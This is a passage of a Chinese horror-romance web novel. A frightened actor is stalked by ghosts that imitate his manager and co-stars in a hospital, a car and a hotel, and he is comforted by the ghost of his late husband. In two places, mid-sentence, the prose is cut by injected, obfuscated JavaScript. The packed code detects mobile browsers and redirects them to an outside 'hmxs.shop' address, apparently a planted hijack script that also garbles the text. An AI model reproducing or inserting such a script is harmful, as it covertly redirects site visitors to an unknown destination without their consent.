谈雪慈没有办法,他只能晚上听到咚咚咚就跑到楼上去找妈妈,踮起脚尖趴在床边怯怯地说:“……妈妈,我们走吧。” 妈妈不理他,那个咚咚咚一直往他腿上撞,又湿又热,像是有血蹭在他小腿上。 谈雪慈雪白的小脸湿乎乎的都是眼泪,想哭又不敢哭,只能带着点鼻音哽咽喃喃,跟妈妈说床底下有个红色的皮球,把皮球给他吧。 不然妈妈就要死掉了。 谈母那段时间一直睡不着,整个人暴瘦十几斤,她根本不想搭理谈雪慈,让张妈把阁楼门锁上,但谈雪慈总能自己跑出来。 她没办法,只能低头去看,然后看到床底下好像真的有个红色的东西,一直在咚咚咚地跳来跳去,撞她的床脚。 谈母发出撕心裂肺的一声惨叫。 谈父本来在书房,听见动静马上赶过来,看到谈雪慈就怒气冲冲地扇了他一巴掌,说:“你又在这儿吵什么?!” 谈母抱着头躲在床上,语无伦次地说:“床底!床底下有东西……” “给我把床翻过来!”谈父见妻子状态崩溃,也没再去管谈雪慈,连忙让佣人过来收拾,“我倒要看看床底下到底有什么!” 几个佣人将床挪开,床底下好像什么都没有,谈雪慈也不记得当时怎么回事了,总之谈母信佛,家中有佛堂,佣人将卧室打扫干净后,又从佛堂拿来一点香灰到处撒了撒。 谈雪慈趴在张妈肩头左右张望了下,那个咚咚咚不见了,他消瘦的小脸上带着泪痕跟红肿的巴掌印,终于睡了过去。 从那以后,谈雪慈有很长一段时间甚至害怕听到敲门声,一听到咚咚咚,他脸色就瞬间苍白,心脏也很不舒服。 直到后面见多了其他鬼,一开始那个好像也没有那么可怕了。 …… 解云一边听谈雪慈说这几天发生的事,一边起身去拿治疗的道具。 谈雪慈手指绞在一起,说到一半突然听到背后有什么东西掉在地上。 咚咚咚。 弹跳了几下。 谈雪慈嗓音被扼住一样,他猛地转过头。 “抱歉,”解云连忙说,“我不小心把模型碰掉了,是不是吓到你了?” 谈雪慈这才发现办公室角落摆着个很逼真的人体模型,能看到血红色肌肉分布的那种,解云刚才经过时,不小心把模型的头给碰掉了。 谈雪慈唇色有些发白,他平复了一下心跳,摇了摇头说:“没……没关系。” 解云给了他一张 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他从办公室跑出去,才发现外面是个很宽敞而且很阴冷的房间,冷到冒寒气,像冰窖一样,靠墙有很多铁柜子,一格一格分布整齐,但他明明记得以前医生的办公室不是这样的。 谈雪慈只迟疑了一秒,柜子那边就突然传来一阵动静。 咚咚咚…… 谈雪慈脸上骤然惨白。 咚咚咚…… 咚咚咚咚咚咚咚咚咚咚咚咚!!! 整个房间几百个柜子都突然传来咚咚咚的响声,撞击越来越剧烈,就好像柜子里有什么人在用头使劲撞柜门,想要撞开一样。 谈雪慈止不住地颤抖,甚至不知道自己是怎么跑出去的。 他跌跌撞撞地往前跑,迎面差点跟一个护士撞到一起,护士见谈雪慈还在跑,就高声提醒他说:“太平间里禁止跑动!” 太平间…… 谈雪慈心脏像被浸在冰水里,接踵而来的恐惧让他有种血液凝固不能呼吸的感觉。 怎么可能是太平间呢。 他明明跟陆栖一起坐电梯上楼,陆栖看着他进办公室的。 谈雪慈不停地给陆栖打电话,但怎么也打不通,他不敢坐电梯,但整层楼都阴沉沉的,只能看到走廊里幽绿色的应急疏散灯,他根本找不到下去的楼梯,就只能去电梯间。 电梯很快就到了,进去以后,就看到了当前楼层显示。 负一层。 “……” 谈雪慈咽了下口水,颤抖着按了17楼。 刚才的鬼医生没追过来,电梯走到一楼,又上来好几个乘客,看着都很正常,空气里那种诡异压抑的气氛也散去了不少。 好像……好像没事了。 谈雪慈后背都被冷汗湿透,他坐电梯到17楼,看到了在办公室门口等他的陆栖。 陆栖昨晚陪着另一个艺人录综艺到半夜三点,然后又搭飞机赶回来,又累又困,不小心在办公室门口椅子上睡了过去,被谈雪慈晃醒时还有点茫然,问他,“这么快就看完了?” “……陆哥,”谈雪慈眼睑泛红,嗓子也在颤,叫他说,“我不看了,我们快走吧。” 他不想看了,想回家。 陆栖一看就知道他刚才又犯病了,估计看到一半从办公室跑出来的。 他拉住谈雪慈,诱骗说:“怕什么,没事儿,哥送你进去行了吧,都是假的,不用……” 陆栖本来想说不用怕,但还没说完就戛然而止堵在了嗓子里。 他拉开门,发现医生正趴在门口看他们,不知道已经在这里趴了多久,那张脸长满了密密麻麻蠕动的眼睛,几乎贴到了他们的鼻子。 陆栖往后踉跄了下,拉着谈雪慈的那只手都在发抖了,“我操操操……我操.你大爸!这……这什么鬼东西?!跑啊!!!” 谈雪慈被陆栖拖着往楼下跑,他们没敢坐电梯,从17楼一口气跑到地下车库。 “快快快,”陆栖猛地拉开车门,不停地回头看那个怪物有没有追过来,吓得脸都白了,催谈雪慈,“赶紧上车……” 谈雪慈体力不行,跑得嗓子里一股血腥味,头又晕又重,被陆栖连推带搡弄到后座。 陆栖也赶紧上了驾驶座,一脚油门轰隆踩出去,驶离了医院。 他们到医院时是下午五点,现在已经晚上八点多,外面天都黑了,等周遭车流如织,夜灯繁亮,陆栖紧绷的神经终于放松下来一点,但头皮仍然发麻,冷汗直冒,骂骂咧咧地说:“我操,刚才那到底什么鬼东西,吓死我了。” 谈雪慈抬起头,本来想说什么,却突然顿住,像被一盆冷水兜头浇下,他缓缓地看向陆栖,呼吸有些艰难。 不对,不对……除了他应该没人能看到那些东西,陆栖为什么会看到。 谈雪慈还没想明白,手机就突然震响。 车里没开灯,光线很昏暗,陆栖的脸好像也被笼罩在半明半昧的阴影中,有种鬼气森森的冷,他转过头,将脸缓缓凑近谈雪慈,问:“怎么了?谁打的电话,为什么不接呢?” 谈雪慈来不及关掉声音,他掌心及时往下一压,捂在屏幕上,挡住了名字,冷汗沿着他秀致消瘦的下巴尖掉下去。 是陆栖打来的电话。 13.他自深渊来 陆栖还盯着他,手机也还在响,京市阴冷连缀的雨幕将他们跟其他车流行人隔绝开了一样,只剩下僵持死寂。 就在陆栖又要问他的时候,谈雪慈终于张开干涩的唇,提醒他说:“绿灯了。” 他们刚才停在了一个路口。 陆栖的脑袋没有转过去,但他身体其实一直都没动,等于他脑袋是转了将近一百八十度,扭到后面来的。 他盯着谈雪慈,直到谈雪慈眼底控制不住漫上水雾,后边的车按了好几声喇叭,陆栖才终于咔咔地将脑袋转回去,重新发动了车子。 然而谈雪慈还没来得及松一口气。 陆栖又突然问:“谁给你打的电话啊,怎么不接呢,你好像有点害怕。” 谈雪慈:“……” 谈雪慈两眼一闭,说:“电信诈骗。” 陆栖:“……” 陆栖说:“我帮你看看。” “不……不行。”谈雪慈将手机按得死死。 陆栖的脸在昏暗车内几乎已经成了青灰色,问他,“为什么?” 谈雪慈大脑高速运转,最后结结巴巴地蹦出来句:“怕……怕你被骗。” 陆栖:“……” “这是我的手机,”谈雪慈捋直了舌头,但小脸仍然紧绷绷的,闭着眼说,“你被骗,划走的都是我的钱,我本来就没钱。” 胆小贫穷且抠门。 电话铃声就在这时终于停了。 陆栖古怪地笑了一声,好像不打算再追问他,谈雪慈不动声色小小地呼出一口气,冷汗已经湿透了脊椎线。 “你还懂电信诈骗呢?”陆栖咬牙切齿。 这语气太陆栖了,谈雪慈忍不住睁开一只眼偷看了下,然而陆栖的脸色比刚才还阴间,已经变成了惨青色。 谈雪慈:“……” 有时候真想再也不睁开眼。 虽然不知道为什么,但对方好像没打算跟他撕破脸,他已经上了车,车门都锁着,跳不下去,现在接陆栖的电话,等于在戳破对方的伪装,万一把对方激怒,搞不好会直接弄死他。 何况告诉陆栖也没什么用。 除了这辆车,外面看起来都很正常,而且确实是去酒店的路。 谈雪慈手心湿答答的,趁那个鬼经纪人没注意,伸手摸了下胸口的符袋。 希望贺先生能保佑他到酒店,能到酒店就好了,说不定还有机会。 要是死了,就只能去给男鬼当鬼老婆了。 对方还真的将车停在了酒店门口,但已经晚上十点多了,酒店外没什么人,大厅里也只看到几个接待。 谈雪慈小脸苍白,细瘦的手指也有点发抖,在想他到底该怎么办,就在这时,手机又突然响了起来,还是陆栖打来的电话。 谈雪慈这次没犹豫,他猛地推开车门就跑了下去,边往酒店跑边接起电话。 “喂,”陆栖暴躁又担心的声音响起,“我在医院等了一个多小时都没看到你,去住院部找解医生,他说你根本没来,我又回酒店找你,也没找到,怎么回事啊,你现在在什么地方?” “我……”谈雪慈嗓音带上了一点哭腔,说,“我在酒店楼下……” 谈雪慈本来带了药,但从太平间跑出去以后就不见了,他攥着胸口的符袋往电梯方向跑,只要在那个鬼经纪人追上来之前上楼吃药就好了,就不会再看到对方了。 电梯很慢,那个鬼经纪人却一直没追过来,不知道是不是因为酒店前台供了一尊观音。 他刚进组时,听剧组工作人员八卦说嘉禾私立中学突然换校区,不是因为设施老化,而是因为去年连着死了七个学生。 学校怕继续死下去才搬走的。 这事儿太晦气,所以学校附近好多商户都在店里供奉了各种菩萨跟佛像。 谈雪慈不知道真假,但他在这家酒店里确实看到过好几尊观音,心里稍微安定了一点。 说不定会有用,前几天晚上趴在他窗户外面的那个鬼不就没进来吗。 电梯终于叮的一声到了一楼,电梯门打开时,谈雪慈匆匆往里走,差点跟陆栖迎面撞上。 “诶,我去,”陆栖扶住他肩膀,“你走这么快干什么,撞鬼了?到底怎么回事啊,不是说要去看病吗?” 谈雪慈嘴唇颤抖了下,没说出来话。 陆栖瞧着他苍白的脸色,安慰说:“行了,先别说了,上楼歇一歇再说。” 他按着谈雪慈的肩膀将人往电梯里推,谈雪慈走到电梯门口,脚步却突然一顿,被对方按住肩膀不知道为什么有种毛骨悚然的感觉。 而且总觉得有什么地方不对。 到底是哪里不对呢。 谈雪慈突然想起什么,一股寒意沿着脊椎窜上来,他缓缓低头,看向陆栖脚边。 这个陆栖没有影子。 “怎么了?”陆栖也低下头缓缓靠近他问。 谈雪慈打了个哆嗦,睫毛颤个不停,差点从鼻子里溢出一声哭腔。 他转过头,闻遥川跟孟栀正好从外面回来,对了,谈雪慈浑身冷汗地想起来,男女主的戏份多,他们今晚是应该十点左右收工。 他这次确认了下,闻遥川跟孟栀都有影子,然后猛地挣开陆栖的手,跑过去,嗓音低颤说:“闻哥,我想跟你们一起上楼。” 闻遥川不是还懂什么崂山道士吗,听起来跟观音菩萨一样有安全感。 闻遥川跟孟栀当然没拒绝,带他上了另一部刚下来的电梯,闻遥川看了眼陆栖,又看了眼谈雪慈说:“怎么了?跟你经纪人吵架了?” 经纪人跟艺人不合在圈内很常见。 谈雪慈一点声音也发不出来,电梯门缓缓关上,在越来越窄的夹缝中,他看到那个陆栖对他扬起个微笑。 那个笑容真的很怪,让谈雪慈觉得自己又有什么忽略的地方,但哪里不对呢。 电梯光滑的轿壁倒映出他们三个人的身影。 三个人…… 三个人?! 谈雪慈猛地低下头,手指苍白地绞在一起,三个人……为什么会是三个人。 闻遥川是影帝,出门至少会带三个助理,除此之外还有经纪人和保镖。 就连孟栀,身边也有个小助理。 何况男女主单独在一起,很容易传绯闻,闻遥川入行多年,不但情史干净,甚至绯闻都几乎没有,他口碑很好,又敬业,又尊重女演员,跟女演员相处时都会避嫌,为人很绅士。 他怎么会单独跟孟栀一起回来呢。 “小慈,”孟栀在他身后,突然拍了拍他的肩膀,嗓音轻轻柔柔地说,“你能转过来看看我的脸吗?我的脸好痛啊,感觉很胀。” 又来了。 谈雪慈闭着眼,没动也没看。 “我也是,”闻遥川忽然开口,“小慈,你能帮我也看看吗?” 谈雪慈双手握成拳,终于忍无可忍,小发雷霆说:“你们就不能互相看吗?!” “……” “……” 背后的男鬼女鬼好像被震慑了,一时间竟然没鬼说话。 电梯轿厢却越来越摇晃,好像很沉重,不堪重负似的,吱吱呀呀地停了下来。 叮咚一声,门在十五楼开了。 机械女声响起。 “您好,电梯已超载。” “您好,电梯已超载。” “您好……” 谈雪慈没听完就往外冲,出去以后回头看了一眼,闻遥川跟孟栀的皮肤上眼珠一颗一颗正在冒出来,两个人几乎已经看不出人形,都被水泡一样透明发黑,蛄蛹来蛄蛹去的眼珠吞没,像长满了黑色葡萄的巨人观,不超载才怪。 谈雪慈的房间在十六楼,只剩一层楼,他不打算再坐电梯,准备爬楼梯上去,但楼梯在走廊另一头,他深呼吸了一下,正想跑过去,手机却又响了起来,还是陆栖的电话。 他毫不犹豫挂断,然而手机却显示了接通,陆栖的声音传出来,说: “我看到你了。” 谈雪慈顿时后颈一凉,转头看去,只见身后走廊两侧的客房门开了好几扇。 有服务生从里面探出头来。 “不要跑啊,”陆栖阴气森森的嗓音带着笑,跟他说,“我一直在看着你呢。” 谈雪慈:“……” 谈雪慈挂掉电话,头也不回地往房间跑。 上台阶。 一层两层三层…… 他的房间是尾房,在走廊尽头,就在他快要跑过去时,却看到陆栖正蹲在他房间门口。 陆栖好像已经蹲了很久,手上还拿着手机,在给谁打电话却打不通的样子,听到谈雪慈的脚步声,就像看到自己崽子的老吗喽一样激动地跳了起来,焦急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907713|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“你去哪儿了?我到处找不到你,吓死我了,诶,你——” 谈雪慈几乎崩溃了,他猛地推开陆栖,将陆栖推了个踉跄,开门关门上锁一气呵成。 他双腿发软,扑到床边去找药瓶,眼前一阵昏一阵黑,本来就不认得几个字,平常他都是靠药瓶大小形状记自己在吃哪个药,好不容易找到拧开,房间门突然被人敲响。 咚咚咚。 谈雪慈吓得手一抖,药瓶掉在地上,白色的药片撒了一地。 他顾不上去捡,颤抖着随便抓了一把,还顺手将摆在旁边的牌位也抱在怀里,就上床躲到被子底下,他浑身都在发抖,嗓子也哽咽起来,吓得鼻头都发红了,一颗一颗往嘴里塞药,但外面的敲门声始终没消失。 那个东西一直在敲门,甚至还带上了哭腔。 “呜呜呜……” 它说: “给我开门呀。” “不开门我就看不到你了。” 谈雪慈躲在被子底下,双眼惊恐地睁大,将牌位紧紧搂在怀里,语无伦次地小声喃喃,“贺……贺先生,贺先生,贺恂夜……” 难怪人在痛苦时都喜欢求神拜佛,除了求神拜佛也没别的可以做了,只不过他求的不是神明,只是自己已经死掉的丈夫而已。 那个东西敲了很久的门,嗓音扭曲起来,呜呜咽咽只能用鬼哭来形容。 就在这时,外面突然响起一道男声。 “我操,你谁啊,在这儿敲什么呢?” 是陆栖的声音。 “再敲我报警了啊。” 是陆栖吗? 这次是陆栖吗? 谈雪慈攥着被子的手颤了一下,又马上缩回去躲好,不不不,不可能。 但万一呢,他不开门,陆栖会被鬼杀掉吗? “呜呜……” 哭声越来越近了,好像从门外变到身后的窗外一样。 “呜……呜呜呜……” “你把我的眼睛拿走了,我看不到你了……” 眼睛…… 谈雪慈颤抖着低头去看,才发现自己手里拿的根本不是药,是一堆鱼卵一样湿滑的眼珠。 谈雪慈猛地将手里的眼球都丢出去,他在被子底下抱住头,浑身都闷出了汗,氧气越来越稀薄,呼吸也变得很艰难,眼泪一直在不受控地往下流,但嗓子里却发不出一点声音。 就在这时,门吱呀一声开了。 谈雪慈屏住呼吸,连大气不敢喘,他听到有脚步声在缓缓地,啪嗒、啪嗒地靠近,就好像皮鞋踩在地面上的声音。 他已经……没有地方可以躲了。 谈雪慈控制不住发抖,麻木又绝望听着那道脚步声一点一点靠近他。 然后被子被人扯住了。 谈雪慈浑身一僵。 对方在用力扯他的被子。 他不知道从哪儿爆发的力气,边尖叫边用力扯住自己的被子,像只应激以后歇斯底里的猫,但对方的力气比他大很多,他在对方手上甚至比猫都软弱无力,对方稍微一用力,他的被子就终于被彻底扯下去。 谈雪慈尖叫着缩成一团,他身上过于宽大的卫衣已经蹭歪了,露出了锁骨跟半个雪白的肩头,黑发也蹭得很乱,脸上泪痕斑驳,眼泪还在疯狂地往下流,眼眶已经彻底哭红了,就连鼻尖眼睑都是红的,嘴唇也红得发颤,脸色却有种很病态很神经质,水釉一样的白。 他拼命缩着,仰起那张漂亮又狼狈的脸,隔着雾濛濛的眼泪看向对方,然后猛地愣住,眼泪都挂在眼睑上没掉下来。 眼前的男人衣冠楚楚,穿了身手工定制的黑西装,肤色苍白,长相俊美,除了内眼眦浮起的血红一直敛到眼尾,显得鬼气森然,怎么看都是张冰冷立体到挑不出一点瑕疵的脸。 尤其那双漆黑狭长的桃花眼,藏着点笑意,对上就让人心头一悸,像坠入渐浓的深夜一样,有种很叫人头皮发麻的温柔。 大概人总是本能地畏惧夜晚,再引诱,再沉溺也还是会觉得危险。 “你……”谈雪慈顶着张被眼泪蹭湿的小脸,眼睛哭得红彤彤,鼻子也堵了,呆呆看着眼前的男人,大脑都在宕机,对方穿的甚至是遗照上那身黑西装,他蜷起手指,“你……” “我?”贺恂夜语气很温柔,勾唇望向他说,“我是你老公啊,宝宝,不认得老公了吗?” 14.这么坏 谈雪慈眼睑半红不红的,都忘了哭,只呆呆地看着贺恂夜,他嘴唇嗫喏了下,正想开口,门外突然又传来一阵咚咚咚的敲门声。 谈雪慈浑身打了个冷颤,从贺恂夜手中抢过被子就颤巍巍地钻进去。 贺恂夜又伸手去扯,谈雪慈就不停地尖叫挣扎,但他嗓子其实已经哑了,叫得并没有多大声,反而哭得很可怜。 他很瘦小的一团缩在被子底下,哭声凄惨到让人心惊。 贺恂夜将人抱在怀里,但谈雪慈挣扎得很剧烈,他叫了很久,终于慢慢安静下来,贺恂夜这才将他的被子扒下来一点。 谈雪慈闷在底下的小脸已经哭湿了,泪眼模糊,还时不时哽一下。 ……好漂亮。 贺恂夜幽暗的眸子垂下来,揩掉他眼角的泪水,温声说:“已经走了,小雪,外面什么都没有,我带你去看看?” 谈雪慈拼命摇头,又想往被子底下躲。 贺恂夜半抱着他,是个伸手的姿势,很耐心地等他自己出来。 确实没再听到敲门声。 谈雪慈顶着通红的眼眶,他蜷起手指,垂下眼盯着自己的手,过了很久才稍微动了下,伸手碰到贺恂夜的肩膀,又被吓到一样缩回去。 他反反复复很多次,才终于一点一点将手伸出去,搂住贺恂夜的脖子。 贺恂夜将那只小羊玩偶放到他怀里,然后托着腿弯连人带被子一起抱了起来,他抱得很轻巧,好像谈雪慈跟那个小羊没什么差别。 谈雪慈被吓了一跳,连忙搂紧贺恂夜。 他这才发现贺恂夜身上很冷,他隔着被子都冷得一激灵,像冰块似的。 “小雪,”贺恂夜将他抱到门前,殷红的薄唇勾了勾,蛊惑似的让他去看那个猫眼,说:“你看啊,外面什么都没有。” 谈雪慈很抗拒,但男人的手臂不可撼动,没有放他下去的意思,他只能战战兢兢将眼睛凑过去,确实……什么都没看到。 因为外面是黑的。 纯黑色。 谈雪慈打了个哆嗦,不合时宜地觉得就像有什么人将眼睛凑过来,也在往里望一样。 贺恂夜低下头,男人温柔微凉的嗓音在他耳后响起,问他,“有吗?” “老……老公,”谈雪慈眼圈泛红,趴在贺恂夜肩膀上抽泣了一下,很小声地怯怯说,“外面黑黑的,我看不到。” 他只在灵堂叫过一次老公,后面一直都叫贺先生,但是刚才贺恂夜突然说他是他老公,他下意识就跟着贺恂夜叫,等反应过来自己叫了什么,雪白的耳尖洇开一抹红。 “这样啊,”贺恂夜很温柔地笑起来,说,“应该是关灯了,你看,外面什么人都没有。” 是这样吗…… 谈雪慈记得酒店走廊的灯是常亮的,就算不是常亮,也应该是声控的,他刚才惨叫成那样,外面怎么会黑呢。 他没想通,又疑惑地凑过去看了半天。 他不知道,外面那个长满了眼珠的鬼,此刻浑身的眼珠都快要憋爆了,它眼眶憋得生疼,但一动也不敢动,完全不敢眨眼,也不敢乱晃,生怕再吓到谈雪慈。 它隔着门看向那个唇角含笑的恶鬼,浑身的眼珠控制不住抖了起来,一阵恶寒。 鬼祟吃人并不都是生吞活剥,它就更类似于寄生吞并,先把人吓到精神涣散,然后给对方吃下自己的眼珠,就能跟对方融为一体。 它在医院门口就盯上了谈雪慈,但全程都没感觉到谈雪慈身边还有其他鬼祟,刚才正打算推门进去,肩膀却被人从身后拍了拍。 然后转过头对上了恶鬼俊美无俦的脸。 “你盯着他看太久了,”恶鬼望着它,语气温和又遗憾地说,“我不是很喜欢。” …… 谈雪慈搂住贺恂夜的脖子,窝到他怀里不看了,贺恂夜这才将人抱走。 转身时走廊阴风四起,门后鬼祟的眼珠一颗一颗爆掉,炸成了一个血人,那个血人拖着身上葡萄状的眼珠,边走边掉,走到窗边,被一只苍白嶙峋的鬼手推了下去,摔得血花四溅。 恶鬼心情很愉悦地将人抱回床上,谈雪慈裹着被子跪坐在床上,身上还有点发抖。 外面在下雨,时不时雷电交加,风声呜咽,他听到呜呜的风声,都会打个颤,战战兢兢地将贺恂夜的手臂抱在胸前。 “不怕,小雪,”贺恂夜摸了摸他的头,像个体贴的丈夫一样安慰说,“已经没事了。” 谈雪慈根本听不进去,靠着他发抖,贺恂夜将人面对面抱到腿上,谈雪慈搂着小羊,靠在恶鬼的胸口,几根手指攥着贺恂夜的西装外套,抖了很久才终于冷静下来。 然后意识到有什么不太对。 他老公不是死了吗? 谈雪慈晃了晃脑袋,不对,不对,不管贺恂夜还是今晚碰到的几个鬼,都是假的。 翟放没来剧组,他提前收工,回酒店睡了一觉才去医院,会不会他根本就没醒来,也没去过医院,一直都在做梦? 他以前也会做噩梦,很逼真的那种,梦到自己在家里鬼打墙,怎么也走不出去,好不容易看到妈妈在前面,他跑过去抱住妈妈的腿,结果抬起头发现妈妈没有脸,就被吓醒了。 肯定是在做梦。 谈雪慈小小地呼了一口气。 之前每次一喊贺恂夜,鬼就走了,他潜意识里对贺恂夜很依赖,总之比起外面那个,肯定是贺恂夜更让他安心。 他甚至大着胆子,抬起头仔细看了看贺恂夜,他这才发现贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912681|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恂夜左手腕骨上戴着一串黑色佛珠,男人的腕骨苍白劲瘦,衬得佛珠都有种阴气沉沉的黑,但他反而又安心很多,肯定是在做梦,怎么会有鬼戴佛珠。 到底在挑衅谁。 他没说话,伸手小心翼翼抱住了贺恂夜的腰,没被推开,终于彻底踏实下来。 肯定在做梦,不然贺恂夜为什么会让他抱,贺睢就从来不让他抱,也很少对他笑。 解医生说日有所思,夜有所梦,他小时候那次溺水,病得太严重了,以至于对整个世界都很恐惧,所以才会开始看到鬼怪。 说不定就是他心里一直想要一个会对他笑的老公,才会把贺恂夜梦成这样。 他就知道,除了做梦,哪会有这样的好事,有人抱着他,温温柔柔地对他笑,还会摸他的头安慰他,做梦都嫌奢侈。 谈雪慈坐在男人冰凉的大腿上,他跟贺恂夜身高差了一大截,坐在贺恂夜腿上抱住对方,正好脸会埋在对方的胸口。 男人的身材很好,紧窄的腰线一丝赘肉都没有,胸肌也是恰到好处的结实,剪裁考究的西装将每一寸肌肉都勾勒得淋漓尽致。 谈雪慈脸颊一点点红了起来。 他……他这么坏的吗?到底在想什么啊,为什么会把贺恂夜梦成这样。 他突然想起之前听说的,说贺恂夜有特殊癖好,能把人玩进医院,还不止玩了一个,救护车半夜从会所一车一车往外拉。 谈雪慈咽了咽口水,仰头偷看贺恂夜,感觉确实能把人玩进医院的样子,因为他听了那个人说的,才把贺恂夜梦成这样吧。 至于贺恂夜浑身冰冷,没有温度,大概是因为他潜意识知道自己老公已经死了。 谈雪慈大悟特悟,没刚才那么害怕,也不好意思再坐在贺恂夜身上,他爬下去躺好,但一直黏黏糊糊地拉着贺恂夜的几根手指。 他趴在贺恂夜腿上,将小脸也搭上去,眼巴巴地说:“老……老公,你能不能不要走。” 他好累,眼睛几乎睁不开了,但是害怕他一闭眼,贺恂夜就会消失。 贺恂夜伸手托着他的脸捏了捏,极其柔软,他捏一下,谈雪慈就会泪眼婆娑地抖一抖,真可怜……恶鬼眼底漆黑浓郁,语气里也有种很古怪的愉悦,跟他说:“老公不走。” 谈雪慈还是怕他走,时不时睁开眼睛看看他,反复好几次才终于睡过去。 他晚上哭了很久,眼睛都已经肿成了桃子,还人鬼不分,靠在恶鬼旁边睡得香甜。 贺恂夜饶有兴致地观察了会儿自己的小妻子,转过头时唇角一点一点放了下去。 恶鬼那双桃花眼收窄,阴郁冷漠了许多,低头看向滚到他脚边、还没处理完的几颗黑葡萄一样的眼珠,毫无表情地踩上去碾爆了。 15.占有 谈雪慈不知道自己是什么时候睡着的,他只记得自己紧紧抓住贺恂夜的几根手指不放,然后彻底失去了意识,再睁开眼天都已经亮了。 他抱着被子坐起身,茫然地张望了下,经过这一晚上,本来就消瘦的脸颊又苍白了许多似的,抬起头发现只有经纪人在沙发上坐着。 陆栖见他醒了,连忙起身说:“怎么样,没事吧?吓死我了,我怎么叫你都叫不醒。” 昨晚暴雨下得很大,虽然航班没取消,但他手底下另一个艺人怕出事不肯走,他也只能改签陪对方再待一晚上。 他给谈雪慈回了消息,说没办法陪他去医院,谈雪慈却一直没回复,他就有点担心。 毕竟谈雪慈精神有问题,还是精神分裂这种比较严重的疾病,其实不能没有监护人。 他有谈雪慈的房卡,回来以后心急火燎地上楼,一推开门就见谈雪慈床上乱糟糟的。 谈雪慈抱着被角,苍白的小脸上带着泪痕,眼皮哭得又红又肿,睫毛湿漉漉地耷拉着,露出来的小腿上还有青紫淤痕。 陆栖差点两眼一翻晕过去,猛掐自己人中。 他还以为自己才走一晚上,谈雪慈就被谁给拱了,而且谈雪慈睡得很沉,都分不清是在睡觉还是昏迷,怎么看都像被人玩晕的。 谈雪慈对上陆栖这张脸有点麻木,甚至已经感觉不到害怕,他怔了一会儿,突然一骨碌爬起来,跪在床上紧张地到处张望。 “你找什么呢?“陆栖纳闷。 谈雪慈也说不出是失落还是怎么回事,他抿了抿唇,嗓子还带着一点哭过以后的黏哑,茫然呆呆地说:“……我老公不见了。” 他现在还能想起来环抱住贺恂夜的腰的那种感觉,贺恂夜比他高很多,他整个人都能嵌在对方怀里,他抬起头小心翼翼地去看贺恂夜,贺恂夜也并没有把他推开,还会揽住他,低头跟他碰碰额头,管他叫小雪,很温柔地给他擦眼泪,问他怎么了,是还在害怕吗。 ……还答应他不会走。 陆栖:“?” 陆栖懊悔不已。 谈家人都很讨厌谈雪慈生病,每次谈雪慈生病,得到的都不是关心,而是责备甚至辱骂,他们会怪谈雪慈给家里招晦气。 商人有时候很迷信,谈雪慈一生病,谈父就会让人拿符纸艾叶放到谈雪慈门口去烧。 陆栖有次去谈家接谈雪慈,那个小阁楼门口烧得烟熏火燎,谈雪慈一个人坐在另一边的昏冷的小床上,苍白的脸颊影影绰绰,隔着火光还有呛鼻的烟味跟他相望。 就好像谈雪慈是那个需要被驱的邪,他很脏一样,谈雪慈也默认了自己就是很脏。 等烧完了,谈家终于放人,谈雪慈跟他出去的时候,一直小心不碰到他。 谈雪慈知道别人不喜欢他生病,所以病了也不敢说,拍上部电影的时候,谈雪慈手腕被群演撞了下,硬是一声不吭,直到吃晚饭时陆栖发现他拿不起来筷子,只垂下被冷汗浸透的睫毛,默默拿着馒头啃,才发现不对劲。 他捋起谈雪慈袖子一看,手腕肿得又红又涨,皮肤都紧绷绷的,活脱脱小猪蹄。 陆栖吓了一跳,赶紧带他去医院看手。 谈雪慈主动说想去医院,说明他已经觉得严重到无法承受了,肯定是难以想象的痛苦。 啪。 谈雪慈本来还失魂落魄地在找老公,掀开被子看了看,抱起枕头看了看,把自己的小羊举起来看了看,都没有老公,然后就听到啪的一声巴掌,吓得他缩了缩脖子,大气也不敢喘,怯怯地看向陆栖。 陆栖捂着脸,沉重地说:“行了,别说了,哥带你去医院。” 早知道他就坐昨晚的飞机先回来了,不就是雷暴吗,也不一定就能劈死他。 这都开始说胡话了。 谈雪慈受了一晚上惊吓,现在脑子还不太灵泛,只能努力解释说:“不是的,我老公昨天晚上在陪我……” 而且一想起医院,他浑身都开始发抖,他摇了摇头,嗓子发哑地说:“我不去医院……” 他不知道自己这样看上去更像一个可怜的精神病患者了,陆栖连忙将贺恂夜的牌位递给他,让他抱着,说:“好好好,你有老公,你老公在这儿呢,让他陪你,哥给你弄点饭去,不去医院,咱们去剧组。” 谈雪慈:“……” 谈雪慈抿起唇闷闷抱住牌位。 陆栖边往外走,边龇牙咧嘴地揉脖子。 “陆哥,”谈雪慈疑惑问,“你怎么了?” 陆栖垮下脸。 说起来就生气。 他刚才看到谈雪慈那样还以为他被谁给睡了,反正是男孩子有什么好讲究的,他就想把谈雪慈裤子脱下来看看。 然而刚走到床边,才伸出手,就被充电线给绊倒了,爬起来的时候充电线还不知道怎么回事缠到了脖子上,给他越勒越高,喉管里一丝空气都没有,舌头发紫地耷拉出来,差点自己把自己给吊死在谈雪慈床头。 警察来了估计都得怀疑他跟谈雪慈有仇。 不但自己寻死。 还想把谈雪慈给吓死一起带走。 可能屋里不让荡秋千吧,他脖子又忽然一松,从半空摔了下去,他正捂着脖子坐在沙发上喘气呢,谈雪慈就醒了。 陆栖心累地摆了摆手,不愿多说。 京市连日来阴雨连绵,难得今天阳光大盛,好像能驱除一切邪魔一样。 